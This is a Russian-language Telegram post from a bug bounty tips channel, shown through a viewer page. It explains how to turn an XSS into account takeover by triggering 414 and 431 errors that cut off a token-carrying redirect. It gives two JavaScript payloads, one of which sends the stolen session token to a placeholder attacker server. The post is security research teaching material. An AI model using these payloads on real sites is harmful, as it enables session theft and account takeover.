TGViewer
Standoff Bug Bounty Tips Standoff Bug Bounty Tips @standoff_bb_tips · 1.66K subscribers
Post #186 1.84K
XSS → ATO через Server Size Errors Gadgets 💣

Если ты нашел XSS, но HttpOnly не даёт читать cookie и явных путей к ATO нет, стоит проверить ещё один нестандартный вектор — эскалацию через серверные лимиты ⤵️

У серверов есть ограничения на объём данных, которые они готовы обработать:

⚫️ 414 URI Too Long — URL превышает допустимую длину
⚫️ 431 Request Header Fields Too Large — заголовки (чаще всего Cookie) слишком большие

Сами по себе это не уязвимости. Но в связке с XSS и URL-based auth они превращаются в интересный вектор.


➡️ Атака через 414

Сценарий
При переходе между брендами одной компании сессионный токен передаётся через URL:
1-brand.com → генерирует token → редирект на 2-brand.com?token=XXX → логин


Ключевое допущение системы — редирект всегда дойдёт до конца.

Эксплуатация
1. XSS на 1-brand.com позволяет управлять параметром url
2. URL намеренно раздувается мусорными символами
3. Сервер добавляет ?token=...
4. Итоговая длина превышает лимит
5. Сервер возвращает 414, редирект обрывается
6. JavaScript читает response.url → токен у атакующего

Итог: XSS → утечка session token → ATO

<script>
const u = "https://1-brand.com/s/Sites-1-brand-Site/dw/shared_session_redirect?url=https://1-brand.com/";
const r = await fetch(u + "A".repeat(1912));
const t = new URLSearchParams(r.url).get("token");
console.log("session token = " + t);
fetch("http://ATTACKERS_SERVER/"+t);
</script>


➡️ Атака через 431

Если управлять URL нельзя, можно атаковать через заголовки.

Пример логики
1. Middleware на каждый запрос добавляет служебную Cookie
2. XSS удаляет её и создаёт несколько больших Cookies
3. На следующем запросе middleware добавляет свою Cookie обратно
4. Общий размер Cookie превышает лимит сервера
5. Сервер отвечает 431
6. Редирект обрывается → токен остаётся в URL → утечка

Снова: ошибка сервера → обрыв логики → токен доступен JS

<script>
document.cookie = "UserExperience=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
document.cookie = "x="+"A".repeat(4095);
document.cookie = "y="+"B".repeat(4027);

const e = await fetch("http://localhost:8000/share_redirect", { credentials: "include"});
const r = new URL(e.url);
const t = r.searchParams.get("token");
console.log("secret = " + t);
</script>
  • ❤ 17
  • 🤯 6
  • 🔥 3
  • 👍 2
More from @standoff_bb_tips
  1. Oct 11, 2026Что скрывается в имени HTML-тега? Может быть, JavaScript? Gareth Heyes из PortSwigger пока…
  2. Oct 4, 2026Хочешь прокачать своего багбаунти-агента ❓ Обрати внимание на Model-Context-Protocol (MCP)…
  3. Oct 3, 2026Эксплуатация багов, связанных с ошибками в бизнес-логике 🤔 Логические баги — это когда ко…
  4. Sep 7, 2026Post #255
  5. Sep 5, 2026Мы накидали 6 разных вариантов атак для простого GET-запроса на редактирование профиля ⤵️…
  6. Aug 15, 2026Stored XSS через картинку: проверь Content-Type override 😵‍💫 Иногда загрузка изображений…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →